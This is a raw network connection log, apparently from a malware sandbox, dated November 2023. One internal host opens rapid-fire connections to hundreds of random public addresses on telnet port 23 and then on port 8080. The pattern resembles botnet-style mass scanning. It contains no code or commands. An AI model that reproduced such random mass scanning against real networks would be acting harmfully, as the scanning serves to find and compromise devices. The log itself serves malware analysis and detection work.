Nov 23, 2023 05:14:50.604047060 CET	55738	23	192.168.2.13	66.148.85.65
Nov 23, 2023 05:14:50.604058981 CET	55738	23	192.168.2.13	138.203.219.155
Nov 23, 2023 05:14:50.604068995 CET	55738	23	192.168.2.13	207.204.148.86
Nov 23, 2023 05:14:50.604072094 CET	55738	23	192.168.2.13	43.88.196.67
Nov 23, 2023 05:14:50.604080915 CET	55738	23	192.168.2.13	1.47.77.224
Nov 23, 2023 05:14:50.604094028 CET	55738	23	192.168.2.13	125.33.168.135
Nov 23, 2023 05:14:50.604098082 CET	55738	23	192.168.2.13	91.2.224.141
Nov 23, 2023 05:14:50.604114056 CET	55738	23	192.168.2.13	209.48.10.204
Nov 23, 2023 05:14:50.604119062 CET	55738	23	192.168.2.13	27.198.140.213
Nov 23, 2023 05:14:50.604121923 CET	55738	23	192.168.2.13	180.38.186.202
Nov 23, 2023 05:14:50.604136944 CET	55738	23	192.168.2.13	65.55.252.216
Nov 23, 2023 05:14:50.604141951 CET	55738	23	192.168.2.13	66.97.137.40
Nov 23, 2023 05:14:50.604145050 CET	55738	23	192.168.2.13	185.203.190.70
Nov 23, 2023 05:14:50.604147911 CET	55738	23	192.168.2.13	172.196.122.3
Nov 23, 2023 05:14:50.604161978 CET	55738	23	192.168.2.13	80.95.122.171
Nov 23, 2023 05:14:50.604165077 CET	55738	23	192.168.2.13	62.129.147.12
Nov 23, 2023 05:14:50.604167938 CET	55738	23	192.168.2.13	41.221.241.35
Nov 23, 2023 05:14:50.604181051 CET	55738	23	192.168.2.13	250.236.248.161
Nov 23, 2023 05:14:50.604183912 CET	55738	23	192.168.2.13	219.148.20.18
Nov 23, 2023 05:14:50.604198933 CET	55738	23	192.168.2.13	154.47.212.212
Nov 23, 2023 05:14:50.604208946 CET	55738	23	192.168.2.13	113.191.40.238
Nov 23, 2023 05:14:50.604212999 CET	55738	23	192.168.2.13	189.171.43.127
Nov 23, 2023 05:14:50.604213953 CET	55738	23	192.168.2.13	122.9.168.14
Nov 23, 2023 05:14:50.604228973 CET	55738	23	192.168.2.13	126.110.202.145
Nov 23, 2023 05:14:50.604233980 CET	55738	23	192.168.2.13	88.190.233.188
Nov 23, 2023 05:14:50.604234934 CET	55738	23	192.168.2.13	46.171.145.89
Nov 23, 2023 05:14:50.604244947 CET	55738	23	192.168.2.13	182.149.114.66
Nov 23, 2023 05:14:50.604262114 CET	55738	23	192.168.2.13	151.20.76.228
Nov 23, 2023 05:14:50.604265928 CET	55738	23	192.168.2.13	88.243.111.188
Nov 23, 2023 05:14:50.604266882 CET	55738	23	192.168.2.13	211.76.113.205
Nov 23, 2023 05:14:50.604281902 CET	55738	23	192.168.2.13	210.142.9.90
Nov 23, 2023 05:14:50.604296923 CET	55738	23	192.168.2.13	169.230.123.76
Nov 23, 2023 05:14:50.604302883 CET	55738	23	192.168.2.13	70.212.109.83
Nov 23, 2023 05:14:50.604311943 CET	55738	23	192.168.2.13	221.143.153.22
Nov 23, 2023 05:14:50.604311943 CET	55738	23	192.168.2.13	202.88.103.125
Nov 23, 2023 05:14:50.604329109 CET	55738	23	192.168.2.13	48.83.204.61
Nov 23, 2023 05:14:50.604338884 CET	55738	23	192.168.2.13	197.23.205.119
Nov 23, 2023 05:14:50.604342937 CET	55738	23	192.168.2.13	109.155.84.168
Nov 23, 2023 05:14:50.604347944 CET	55738	23	192.168.2.13	97.205.187.79
Nov 23, 2023 05:14:50.604355097 CET	55738	23	192.168.2.13	89.223.122.68
Nov 23, 2023 05:14:50.604362011 CET	55738	23	192.168.2.13	115.223.92.57
Nov 23, 2023 05:14:50.604367971 CET	55738	23	192.168.2.13	42.157.100.46
Nov 23, 2023 05:14:50.604371071 CET	55738	23	192.168.2.13	97.233.185.183
Nov 23, 2023 05:14:50.604391098 CET	55738	23	192.168.2.13	2.236.162.169
Nov 23, 2023 05:14:50.604392052 CET	55738	23	192.168.2.13	179.124.171.177
Nov 23, 2023 05:14:50.604397058 CET	55738	23	192.168.2.13	146.139.169.153
Nov 23, 2023 05:14:50.604403973 CET	55738	23	192.168.2.13	196.127.70.177
Nov 23, 2023 05:14:50.604412079 CET	55738	23	192.168.2.13	171.237.12.126
Nov 23, 2023 05:14:50.604420900 CET	55738	23	192.168.2.13	249.133.215.33
Nov 23, 2023 05:14:50.604428053 CET	55738	23	192.168.2.13	211.135.10.166
Nov 23, 2023 05:14:50.604439020 CET	55738	23	192.168.2.13	90.19.231.121
Nov 23, 2023 05:14:50.604439020 CET	55738	23	192.168.2.13	169.146.164.201
Nov 23, 2023 05:14:50.604454041 CET	55738	23	192.168.2.13	208.150.66.225
Nov 23, 2023 05:14:50.604454041 CET	55738	23	192.168.2.13	139.28.34.34
Nov 23, 2023 05:14:50.604464054 CET	55738	23	192.168.2.13	151.77.77.69
Nov 23, 2023 05:14:50.604477882 CET	55738	23	192.168.2.13	109.51.204.79
Nov 23, 2023 05:14:50.604484081 CET	55738	23	192.168.2.13	249.25.26.220
Nov 23, 2023 05:14:50.604485035 CET	55738	23	192.168.2.13	165.74.225.13
Nov 23, 2023 05:14:50.604510069 CET	55738	23	192.168.2.13	251.70.176.144
Nov 23, 2023 05:14:50.604510069 CET	55738	23	192.168.2.13	73.85.86.9
Nov 23, 2023 05:14:50.604510069 CET	55738	23	192.168.2.13	164.25.251.168
Nov 23, 2023 05:14:50.604526043 CET	55738	23	192.168.2.13	242.206.172.212
Nov 23, 2023 05:14:50.604526043 CET	55738	23	192.168.2.13	99.36.193.217
Nov 23, 2023 05:14:50.604526043 CET	55738	23	192.168.2.13	242.10.92.223
Nov 23, 2023 05:14:50.604541063 CET	55738	23	192.168.2.13	36.96.203.33
Nov 23, 2023 05:14:50.604556084 CET	55738	23	192.168.2.13	179.96.78.182
Nov 23, 2023 05:14:50.604556084 CET	55738	23	192.168.2.13	68.226.109.22
Nov 23, 2023 05:14:50.604556084 CET	55738	23	192.168.2.13	216.89.243.114
Nov 23, 2023 05:14:50.604572058 CET	55738	23	192.168.2.13	62.185.251.183
Nov 23, 2023 05:14:50.604574919 CET	55738	23	192.168.2.13	200.58.154.150
Nov 23, 2023 05:14:50.604584932 CET	55738	23	192.168.2.13	59.118.242.218
Nov 23, 2023 05:14:50.604595900 CET	55738	23	192.168.2.13	109.164.174.127
Nov 23, 2023 05:14:50.604595900 CET	55738	23	192.168.2.13	244.33.45.71
Nov 23, 2023 05:14:50.604599953 CET	55738	23	192.168.2.13	191.231.91.34
Nov 23, 2023 05:14:50.604614973 CET	55738	23	192.168.2.13	121.252.215.24
Nov 23, 2023 05:14:50.604619026 CET	55738	23	192.168.2.13	246.211.69.40
Nov 23, 2023 05:14:50.604626894 CET	55738	23	192.168.2.13	18.58.47.99
Nov 23, 2023 05:14:50.604629040 CET	55738	23	192.168.2.13	189.6.138.69
Nov 23, 2023 05:14:50.604645014 CET	55738	23	192.168.2.13	167.219.250.140
Nov 23, 2023 05:14:50.604651928 CET	55738	23	192.168.2.13	17.78.46.215
Nov 23, 2023 05:14:50.604665995 CET	55738	23	192.168.2.13	37.33.88.75
Nov 23, 2023 05:14:50.604691029 CET	55738	23	192.168.2.13	119.30.106.6
Nov 23, 2023 05:14:50.604691029 CET	55738	23	192.168.2.13	18.149.133.122
Nov 23, 2023 05:14:50.604706049 CET	55738	23	192.168.2.13	37.131.125.24
Nov 23, 2023 05:14:50.604707956 CET	55738	23	192.168.2.13	48.188.13.102
Nov 23, 2023 05:14:50.604721069 CET	55738	23	192.168.2.13	176.7.225.111
Nov 23, 2023 05:14:50.604724884 CET	55738	23	192.168.2.13	152.148.135.22
Nov 23, 2023 05:14:50.604732990 CET	55738	23	192.168.2.13	194.205.186.35
Nov 23, 2023 05:14:50.604741096 CET	55738	23	192.168.2.13	97.230.193.209
Nov 23, 2023 05:14:50.604748011 CET	55738	23	192.168.2.13	204.159.32.179
Nov 23, 2023 05:14:50.604759932 CET	55738	23	192.168.2.13	89.4.13.210
Nov 23, 2023 05:14:50.604763985 CET	55738	23	192.168.2.13	40.219.223.47
Nov 23, 2023 05:14:50.604768991 CET	55738	23	192.168.2.13	251.90.165.145
Nov 23, 2023 05:14:50.604779005 CET	55738	23	192.168.2.13	62.189.163.111
Nov 23, 2023 05:14:50.604784012 CET	55738	23	192.168.2.13	124.116.20.122
Nov 23, 2023 05:14:50.604790926 CET	55738	23	192.168.2.13	153.145.253.23
Nov 23, 2023 05:14:50.604798079 CET	55738	23	192.168.2.13	169.230.220.170
Nov 23, 2023 05:14:50.604801893 CET	55738	23	192.168.2.13	79.71.255.13
Nov 23, 2023 05:14:50.604808092 CET	55738	23	192.168.2.13	175.79.17.180
Nov 23, 2023 05:14:50.604815960 CET	55738	23	192.168.2.13	75.109.75.164
Nov 23, 2023 05:14:50.604826927 CET	55738	23	192.168.2.13	119.123.147.171
Nov 23, 2023 05:14:50.604855061 CET	55738	23	192.168.2.13	160.61.47.110
Nov 23, 2023 05:14:50.604861975 CET	55738	23	192.168.2.13	173.247.179.174
Nov 23, 2023 05:14:50.604862928 CET	55738	23	192.168.2.13	181.43.158.161
Nov 23, 2023 05:14:50.604876995 CET	55738	23	192.168.2.13	42.68.235.114
Nov 23, 2023 05:14:50.604882002 CET	55738	23	192.168.2.13	217.165.195.202
Nov 23, 2023 05:14:50.604887009 CET	55738	23	192.168.2.13	90.252.41.184
Nov 23, 2023 05:14:50.604887009 CET	55738	23	192.168.2.13	112.204.17.117
Nov 23, 2023 05:14:50.604897976 CET	55738	23	192.168.2.13	150.191.66.118
Nov 23, 2023 05:14:50.604897976 CET	55738	23	192.168.2.13	124.60.50.72
Nov 23, 2023 05:14:50.604901075 CET	55738	23	192.168.2.13	115.139.164.88
Nov 23, 2023 05:14:50.604909897 CET	55738	23	192.168.2.13	38.61.221.234
Nov 23, 2023 05:14:50.604921103 CET	55738	23	192.168.2.13	154.79.57.100
Nov 23, 2023 05:14:50.604923010 CET	55738	23	192.168.2.13	196.209.246.253
Nov 23, 2023 05:14:50.604937077 CET	55738	23	192.168.2.13	74.103.109.158
Nov 23, 2023 05:14:50.604939938 CET	55738	23	192.168.2.13	176.220.142.33
Nov 23, 2023 05:14:50.604939938 CET	55738	23	192.168.2.13	61.226.154.153
Nov 23, 2023 05:14:50.604952097 CET	55738	23	192.168.2.13	222.95.210.84
Nov 23, 2023 05:14:50.604962111 CET	55738	23	192.168.2.13	102.123.77.171
Nov 23, 2023 05:14:50.604962111 CET	55738	23	192.168.2.13	83.74.123.29
Nov 23, 2023 05:14:50.604974985 CET	55738	23	192.168.2.13	59.218.48.127
Nov 23, 2023 05:14:50.604979992 CET	55738	23	192.168.2.13	18.122.136.237
Nov 23, 2023 05:14:50.604986906 CET	55738	23	192.168.2.13	252.169.254.155
Nov 23, 2023 05:14:50.604988098 CET	55738	23	192.168.2.13	108.36.86.43
Nov 23, 2023 05:14:50.604996920 CET	55738	23	192.168.2.13	222.138.11.21
Nov 23, 2023 05:14:50.605004072 CET	55738	23	192.168.2.13	114.188.244.14
Nov 23, 2023 05:14:50.605012894 CET	55738	23	192.168.2.13	46.73.4.159
Nov 23, 2023 05:14:50.605030060 CET	55738	23	192.168.2.13	60.49.2.148
Nov 23, 2023 05:14:50.605034113 CET	55738	23	192.168.2.13	194.235.176.101
Nov 23, 2023 05:14:50.605041027 CET	55738	23	192.168.2.13	185.24.245.116
Nov 23, 2023 05:14:50.605050087 CET	55738	23	192.168.2.13	45.54.190.131
Nov 23, 2023 05:14:50.605061054 CET	55738	23	192.168.2.13	217.133.16.54
Nov 23, 2023 05:14:50.605065107 CET	55738	23	192.168.2.13	73.147.231.235
Nov 23, 2023 05:14:50.605073929 CET	55738	23	192.168.2.13	209.193.127.176
Nov 23, 2023 05:14:50.605082989 CET	55738	23	192.168.2.13	113.120.65.97
Nov 23, 2023 05:14:50.605089903 CET	55738	23	192.168.2.13	123.114.58.227
Nov 23, 2023 05:14:50.605098009 CET	55738	23	192.168.2.13	2.99.21.138
Nov 23, 2023 05:14:50.605113029 CET	55738	23	192.168.2.13	77.54.23.163
Nov 23, 2023 05:14:50.605120897 CET	55738	23	192.168.2.13	68.231.195.181
Nov 23, 2023 05:14:50.605132103 CET	55738	23	192.168.2.13	80.82.36.247
Nov 23, 2023 05:14:50.605134964 CET	55738	23	192.168.2.13	77.157.9.18
Nov 23, 2023 05:14:50.605144024 CET	55738	23	192.168.2.13	218.194.184.47
Nov 23, 2023 05:14:50.605144978 CET	55738	23	192.168.2.13	42.188.250.221
Nov 23, 2023 05:14:50.605145931 CET	55738	23	192.168.2.13	185.8.160.59
Nov 23, 2023 05:14:50.605169058 CET	55738	23	192.168.2.13	189.41.70.184
Nov 23, 2023 05:14:50.605169058 CET	55738	23	192.168.2.13	36.86.29.114
Nov 23, 2023 05:14:50.605170965 CET	55738	23	192.168.2.13	23.39.197.95
Nov 23, 2023 05:14:50.605170965 CET	55738	23	192.168.2.13	176.246.33.200
Nov 23, 2023 05:14:50.605171919 CET	55738	23	192.168.2.13	168.201.151.229
Nov 23, 2023 05:14:50.605189085 CET	55738	23	192.168.2.13	109.118.166.116
Nov 23, 2023 05:14:50.605196953 CET	55738	23	192.168.2.13	218.174.47.39
Nov 23, 2023 05:14:50.605202913 CET	55738	23	192.168.2.13	248.235.45.85
Nov 23, 2023 05:14:50.605206013 CET	55738	23	192.168.2.13	193.32.99.87
Nov 23, 2023 05:14:50.605232000 CET	55738	23	192.168.2.13	168.182.78.248
Nov 23, 2023 05:14:50.605232000 CET	55738	23	192.168.2.13	78.147.233.187
Nov 23, 2023 05:14:50.605236053 CET	55738	23	192.168.2.13	42.1.15.175
Nov 23, 2023 05:14:50.605236053 CET	55738	23	192.168.2.13	37.16.46.128
Nov 23, 2023 05:14:50.605249882 CET	55738	23	192.168.2.13	250.2.182.83
Nov 23, 2023 05:14:50.605252028 CET	55738	23	192.168.2.13	164.87.214.14
Nov 23, 2023 05:14:50.605262995 CET	55738	23	192.168.2.13	47.95.255.61
Nov 23, 2023 05:14:50.605287075 CET	55738	23	192.168.2.13	13.202.101.117
Nov 23, 2023 05:14:50.605288029 CET	55738	23	192.168.2.13	141.10.136.38
Nov 23, 2023 05:14:50.605290890 CET	55738	23	192.168.2.13	18.207.206.175
Nov 23, 2023 05:14:50.605314970 CET	55738	23	192.168.2.13	46.156.157.138
Nov 23, 2023 05:14:50.605315924 CET	55738	23	192.168.2.13	142.15.156.178
Nov 23, 2023 05:14:50.605315924 CET	55738	23	192.168.2.13	213.2.141.64
Nov 23, 2023 05:14:50.605330944 CET	55738	23	192.168.2.13	24.43.62.26
Nov 23, 2023 05:14:50.605345011 CET	55738	23	192.168.2.13	114.9.92.120
Nov 23, 2023 05:14:50.605345964 CET	55738	23	192.168.2.13	170.40.192.243
Nov 23, 2023 05:14:50.605354071 CET	55738	23	192.168.2.13	94.190.137.231
Nov 23, 2023 05:14:50.605364084 CET	55738	23	192.168.2.13	247.28.190.45
Nov 23, 2023 05:14:50.605377913 CET	55738	23	192.168.2.13	91.6.135.234
Nov 23, 2023 05:14:50.605381966 CET	55738	23	192.168.2.13	61.141.15.78
Nov 23, 2023 05:14:50.605385065 CET	55738	23	192.168.2.13	160.42.90.201
Nov 23, 2023 05:14:50.605385065 CET	55738	23	192.168.2.13	245.178.172.180
Nov 23, 2023 05:14:50.605393887 CET	55738	23	192.168.2.13	176.72.119.6
Nov 23, 2023 05:14:50.605410099 CET	55738	23	192.168.2.13	47.9.44.134
Nov 23, 2023 05:14:50.605412960 CET	55738	23	192.168.2.13	218.147.196.20
Nov 23, 2023 05:14:50.605426073 CET	55738	23	192.168.2.13	182.249.196.50
Nov 23, 2023 05:14:50.605426073 CET	55738	23	192.168.2.13	87.226.220.182
Nov 23, 2023 05:14:50.605437994 CET	55738	23	192.168.2.13	89.9.53.205
Nov 23, 2023 05:14:50.605438948 CET	55738	23	192.168.2.13	192.80.66.233
Nov 23, 2023 05:14:50.605448008 CET	55738	23	192.168.2.13	87.16.37.58
Nov 23, 2023 05:14:50.605457067 CET	55738	23	192.168.2.13	138.237.43.151
Nov 23, 2023 05:14:50.605464935 CET	55738	23	192.168.2.13	39.5.85.232
Nov 23, 2023 05:14:50.605478048 CET	55738	23	192.168.2.13	48.210.119.191
Nov 23, 2023 05:14:50.605478048 CET	55738	23	192.168.2.13	48.204.20.218
Nov 23, 2023 05:14:50.605485916 CET	55738	23	192.168.2.13	157.158.206.44
Nov 23, 2023 05:14:50.605485916 CET	55738	23	192.168.2.13	96.109.151.178
Nov 23, 2023 05:14:50.605488062 CET	55738	23	192.168.2.13	168.129.194.142
Nov 23, 2023 05:14:50.605499983 CET	55738	23	192.168.2.13	160.71.146.135
Nov 23, 2023 05:14:50.605499983 CET	55738	23	192.168.2.13	147.22.132.234
Nov 23, 2023 05:14:50.605521917 CET	55738	23	192.168.2.13	152.246.174.45
Nov 23, 2023 05:14:50.605523109 CET	55738	23	192.168.2.13	155.212.216.144
Nov 23, 2023 05:14:50.605523109 CET	55738	23	192.168.2.13	223.57.248.221
Nov 23, 2023 05:14:50.605530024 CET	55738	23	192.168.2.13	45.16.62.131
Nov 23, 2023 05:14:50.605535030 CET	55738	23	192.168.2.13	202.101.103.230
Nov 23, 2023 05:14:50.605551004 CET	55738	23	192.168.2.13	35.107.33.173
Nov 23, 2023 05:14:50.605556965 CET	55738	23	192.168.2.13	154.95.17.110
Nov 23, 2023 05:14:50.605568886 CET	55738	23	192.168.2.13	242.253.44.123
Nov 23, 2023 05:14:50.605573893 CET	55738	23	192.168.2.13	57.60.146.5
Nov 23, 2023 05:14:50.605587959 CET	55738	23	192.168.2.13	243.189.202.252
Nov 23, 2023 05:14:50.605597019 CET	55738	23	192.168.2.13	211.77.207.29
Nov 23, 2023 05:14:50.605612993 CET	55738	23	192.168.2.13	253.117.114.2
Nov 23, 2023 05:14:50.605632067 CET	55738	23	192.168.2.13	39.144.129.18
Nov 23, 2023 05:14:50.605634928 CET	55738	23	192.168.2.13	192.71.144.10
Nov 23, 2023 05:14:50.605647087 CET	55738	23	192.168.2.13	150.198.44.92
Nov 23, 2023 05:14:50.629121065 CET	54202	8080	192.168.2.13	62.241.34.95
Nov 23, 2023 05:14:50.629125118 CET	54202	8080	192.168.2.13	94.218.210.254
Nov 23, 2023 05:14:50.629148960 CET	54202	8080	192.168.2.13	94.191.35.144
Nov 23, 2023 05:14:50.629149914 CET	54202	8080	192.168.2.13	95.20.29.70
Nov 23, 2023 05:14:50.629158974 CET	54202	8080	192.168.2.13	94.99.162.161
Nov 23, 2023 05:14:50.629158974 CET	54202	8080	192.168.2.13	31.125.43.199
Nov 23, 2023 05:14:50.629158974 CET	54202	8080	192.168.2.13	95.236.52.153
Nov 23, 2023 05:14:50.629162073 CET	54202	8080	192.168.2.13	62.195.196.245
Nov 23, 2023 05:14:50.629162073 CET	54202	8080	192.168.2.13	95.180.38.184
Nov 23, 2023 05:14:50.629162073 CET	54202	8080	192.168.2.13	94.128.31.35
Nov 23, 2023 05:14:50.629162073 CET	54202	8080	192.168.2.13	62.64.220.227
Nov 23, 2023 05:14:50.629175901 CET	54202	8080	192.168.2.13	85.206.136.251
Nov 23, 2023 05:14:50.629182100 CET	54202	8080	192.168.2.13	85.62.146.189
Nov 23, 2023 05:14:50.629185915 CET	54202	8080	192.168.2.13	95.147.17.7
Nov 23, 2023 05:14:50.629189968 CET	54202	8080	192.168.2.13	31.211.252.86
Nov 23, 2023 05:14:50.629204988 CET	54202	8080	192.168.2.13	95.181.247.21
Nov 23, 2023 05:14:50.629204988 CET	54202	8080	192.168.2.13	62.166.181.91
Nov 23, 2023 05:14:50.629208088 CET	54202	8080	192.168.2.13	94.78.40.247
Nov 23, 2023 05:14:50.629211903 CET	54202	8080	192.168.2.13	85.127.134.202
Nov 23, 2023 05:14:50.629221916 CET	54202	8080	192.168.2.13	94.255.111.223
Nov 23, 2023 05:14:50.629234076 CET	54202	8080	192.168.2.13	31.44.113.208
Nov 23, 2023 05:14:50.629234076 CET	54202	8080	192.168.2.13	31.193.113.240
Nov 23, 2023 05:14:50.629234076 CET	54202	8080	192.168.2.13	94.26.217.39
Nov 23, 2023 05:14:50.629251957 CET	54202	8080	192.168.2.13	94.21.107.69
Nov 23, 2023 05:14:50.629255056 CET	54202	8080	192.168.2.13	94.159.126.157
Nov 23, 2023 05:14:50.629268885 CET	54202	8080	192.168.2.13	94.150.133.116
Nov 23, 2023 05:14:50.629270077 CET	54202	8080	192.168.2.13	94.55.245.189
Nov 23, 2023 05:14:50.629270077 CET	54202	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:50.629277945 CET	54202	8080	192.168.2.13	95.202.65.151
Nov 23, 2023 05:14:50.629287958 CET	54202	8080	192.168.2.13	62.108.110.157
Nov 23, 2023 05:14:50.629302025 CET	54202	8080	192.168.2.13	62.44.213.92
Nov 23, 2023 05:14:50.629302025 CET	54202	8080	192.168.2.13	85.139.84.106
Nov 23, 2023 05:14:50.629312992 CET	54202	8080	192.168.2.13	85.202.128.169
Nov 23, 2023 05:14:50.629328012 CET	54202	8080	192.168.2.13	95.173.167.192
Nov 23, 2023 05:14:50.629343987 CET	54202	8080	192.168.2.13	85.127.116.45
Nov 23, 2023 05:14:50.629348040 CET	54202	8080	192.168.2.13	85.16.179.166
Nov 23, 2023 05:14:50.629357100 CET	54202	8080	192.168.2.13	62.124.15.255
Nov 23, 2023 05:14:50.629362106 CET	54202	8080	192.168.2.13	31.189.221.167
Nov 23, 2023 05:14:50.629369020 CET	54202	8080	192.168.2.13	62.119.108.18
Nov 23, 2023 05:14:50.629383087 CET	54202	8080	192.168.2.13	31.162.107.194
Nov 23, 2023 05:14:50.629384995 CET	54202	8080	192.168.2.13	85.202.169.239
Nov 23, 2023 05:14:50.629384995 CET	54202	8080	192.168.2.13	85.75.140.135
Nov 23, 2023 05:14:50.629404068 CET	54202	8080	192.168.2.13	95.185.250.202
Nov 23, 2023 05:14:50.629430056 CET	54202	8080	192.168.2.13	95.114.137.23
Nov 23, 2023 05:14:50.629430056 CET	54202	8080	192.168.2.13	31.227.250.183
Nov 23, 2023 05:14:50.629439116 CET	54202	8080	192.168.2.13	94.130.59.68
Nov 23, 2023 05:14:50.629441023 CET	54202	8080	192.168.2.13	62.243.144.253
Nov 23, 2023 05:14:50.629441977 CET	54202	8080	192.168.2.13	31.223.15.206
Nov 23, 2023 05:14:50.629460096 CET	54202	8080	192.168.2.13	85.111.141.13
Nov 23, 2023 05:14:50.629461050 CET	54202	8080	192.168.2.13	94.54.148.97
Nov 23, 2023 05:14:50.629465103 CET	54202	8080	192.168.2.13	62.162.18.90
Nov 23, 2023 05:14:50.629467964 CET	54202	8080	192.168.2.13	85.220.10.159
Nov 23, 2023 05:14:50.629481077 CET	54202	8080	192.168.2.13	62.51.91.197
Nov 23, 2023 05:14:50.629491091 CET	54202	8080	192.168.2.13	95.247.155.131
Nov 23, 2023 05:14:50.629491091 CET	54202	8080	192.168.2.13	85.43.155.73
Nov 23, 2023 05:14:50.629491091 CET	54202	8080	192.168.2.13	62.211.227.214
Nov 23, 2023 05:14:50.629501104 CET	54202	8080	192.168.2.13	95.232.247.202
Nov 23, 2023 05:14:50.629508972 CET	54202	8080	192.168.2.13	94.80.71.106
Nov 23, 2023 05:14:50.629514933 CET	54202	8080	192.168.2.13	85.200.145.68
Nov 23, 2023 05:14:50.629528999 CET	54202	8080	192.168.2.13	95.173.155.18
Nov 23, 2023 05:14:50.629528999 CET	54202	8080	192.168.2.13	31.68.162.142
Nov 23, 2023 05:14:50.629534006 CET	54202	8080	192.168.2.13	94.48.198.64
Nov 23, 2023 05:14:50.629544973 CET	54202	8080	192.168.2.13	31.69.5.78
Nov 23, 2023 05:14:50.629548073 CET	54202	8080	192.168.2.13	95.252.174.72
Nov 23, 2023 05:14:50.629553080 CET	54202	8080	192.168.2.13	94.201.250.12
Nov 23, 2023 05:14:50.629565001 CET	54202	8080	192.168.2.13	95.169.105.38
Nov 23, 2023 05:14:50.629570007 CET	54202	8080	192.168.2.13	31.122.56.254
Nov 23, 2023 05:14:50.629585028 CET	54202	8080	192.168.2.13	95.120.105.38
Nov 23, 2023 05:14:50.629587889 CET	54202	8080	192.168.2.13	94.156.250.251
Nov 23, 2023 05:14:50.629606962 CET	54202	8080	192.168.2.13	95.42.63.28
Nov 23, 2023 05:14:50.629607916 CET	54202	8080	192.168.2.13	94.83.110.177
Nov 23, 2023 05:14:50.629607916 CET	54202	8080	192.168.2.13	94.57.199.192
Nov 23, 2023 05:14:50.629614115 CET	54202	8080	192.168.2.13	31.241.86.124
Nov 23, 2023 05:14:50.629626036 CET	54202	8080	192.168.2.13	31.216.132.239
Nov 23, 2023 05:14:50.629638910 CET	54202	8080	192.168.2.13	31.175.143.122
Nov 23, 2023 05:14:50.629640102 CET	54202	8080	192.168.2.13	94.137.168.5
Nov 23, 2023 05:14:50.629640102 CET	54202	8080	192.168.2.13	85.119.141.217
Nov 23, 2023 05:14:50.629642010 CET	54202	8080	192.168.2.13	62.226.74.77
Nov 23, 2023 05:14:50.629643917 CET	54202	8080	192.168.2.13	31.20.118.149
Nov 23, 2023 05:14:50.629647017 CET	54202	8080	192.168.2.13	31.130.53.23
Nov 23, 2023 05:14:50.629664898 CET	54202	8080	192.168.2.13	85.123.30.238
Nov 23, 2023 05:14:50.629667044 CET	54202	8080	192.168.2.13	95.200.173.140
Nov 23, 2023 05:14:50.629671097 CET	54202	8080	192.168.2.13	62.66.139.192
Nov 23, 2023 05:14:50.629687071 CET	54202	8080	192.168.2.13	85.198.230.174
Nov 23, 2023 05:14:50.629688978 CET	54202	8080	192.168.2.13	85.167.61.91
Nov 23, 2023 05:14:50.629698992 CET	54202	8080	192.168.2.13	31.236.194.234
Nov 23, 2023 05:14:50.629704952 CET	54202	8080	192.168.2.13	95.255.142.133
Nov 23, 2023 05:14:50.629704952 CET	54202	8080	192.168.2.13	31.175.106.114
Nov 23, 2023 05:14:50.629718065 CET	54202	8080	192.168.2.13	62.95.229.126
Nov 23, 2023 05:14:50.629718065 CET	54202	8080	192.168.2.13	95.145.248.186
Nov 23, 2023 05:14:50.629720926 CET	54202	8080	192.168.2.13	94.181.141.117
Nov 23, 2023 05:14:50.629726887 CET	54202	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:50.629729033 CET	54202	8080	192.168.2.13	95.242.144.3
Nov 23, 2023 05:14:50.629731894 CET	54202	8080	192.168.2.13	85.100.101.253
Nov 23, 2023 05:14:50.629745007 CET	54202	8080	192.168.2.13	94.27.105.141
Nov 23, 2023 05:14:50.629755020 CET	54202	8080	192.168.2.13	62.230.117.126
Nov 23, 2023 05:14:50.629765987 CET	54202	8080	192.168.2.13	85.147.51.173
Nov 23, 2023 05:14:50.629765987 CET	54202	8080	192.168.2.13	85.49.199.233
Nov 23, 2023 05:14:50.629779100 CET	54202	8080	192.168.2.13	62.211.68.188
Nov 23, 2023 05:14:50.629782915 CET	54202	8080	192.168.2.13	94.73.82.166
Nov 23, 2023 05:14:50.629785061 CET	54202	8080	192.168.2.13	62.232.122.120
Nov 23, 2023 05:14:50.629785061 CET	54202	8080	192.168.2.13	62.150.33.76
Nov 23, 2023 05:14:50.629786968 CET	54202	8080	192.168.2.13	85.17.113.114
Nov 23, 2023 05:14:50.629801989 CET	54202	8080	192.168.2.13	31.45.255.95
Nov 23, 2023 05:14:50.629806042 CET	54202	8080	192.168.2.13	95.83.5.112
Nov 23, 2023 05:14:50.629810095 CET	54202	8080	192.168.2.13	95.92.213.15
Nov 23, 2023 05:14:50.629822969 CET	54202	8080	192.168.2.13	31.11.238.54
Nov 23, 2023 05:14:50.629822969 CET	54202	8080	192.168.2.13	31.216.203.86
Nov 23, 2023 05:14:50.629823923 CET	54202	8080	192.168.2.13	94.178.244.195
Nov 23, 2023 05:14:50.629841089 CET	54202	8080	192.168.2.13	94.60.219.183
Nov 23, 2023 05:14:50.629841089 CET	54202	8080	192.168.2.13	31.108.72.11
Nov 23, 2023 05:14:50.629844904 CET	54202	8080	192.168.2.13	31.123.83.209
Nov 23, 2023 05:14:50.629848957 CET	54202	8080	192.168.2.13	85.183.194.55
Nov 23, 2023 05:14:50.629854918 CET	54202	8080	192.168.2.13	62.161.72.30
Nov 23, 2023 05:14:50.629864931 CET	54202	8080	192.168.2.13	95.191.0.52
Nov 23, 2023 05:14:50.629864931 CET	54202	8080	192.168.2.13	95.73.80.235
Nov 23, 2023 05:14:50.629878998 CET	54202	8080	192.168.2.13	62.217.237.182
Nov 23, 2023 05:14:50.629880905 CET	54202	8080	192.168.2.13	95.215.177.75
Nov 23, 2023 05:14:50.629882097 CET	54202	8080	192.168.2.13	31.35.121.44
Nov 23, 2023 05:14:50.629899979 CET	54202	8080	192.168.2.13	62.40.131.196
Nov 23, 2023 05:14:50.629899979 CET	54202	8080	192.168.2.13	85.190.75.184
Nov 23, 2023 05:14:50.629901886 CET	54202	8080	192.168.2.13	62.16.223.183
Nov 23, 2023 05:14:50.629901886 CET	54202	8080	192.168.2.13	85.119.123.185
Nov 23, 2023 05:14:50.629910946 CET	54202	8080	192.168.2.13	31.63.201.28
Nov 23, 2023 05:14:50.629926920 CET	54202	8080	192.168.2.13	94.193.92.121
Nov 23, 2023 05:14:50.629926920 CET	54202	8080	192.168.2.13	62.18.200.52
Nov 23, 2023 05:14:50.629941940 CET	54202	8080	192.168.2.13	95.211.152.221
Nov 23, 2023 05:14:50.629945040 CET	54202	8080	192.168.2.13	62.177.226.89
Nov 23, 2023 05:14:50.629951954 CET	54202	8080	192.168.2.13	95.138.160.49
Nov 23, 2023 05:14:50.629959106 CET	54202	8080	192.168.2.13	85.108.85.103
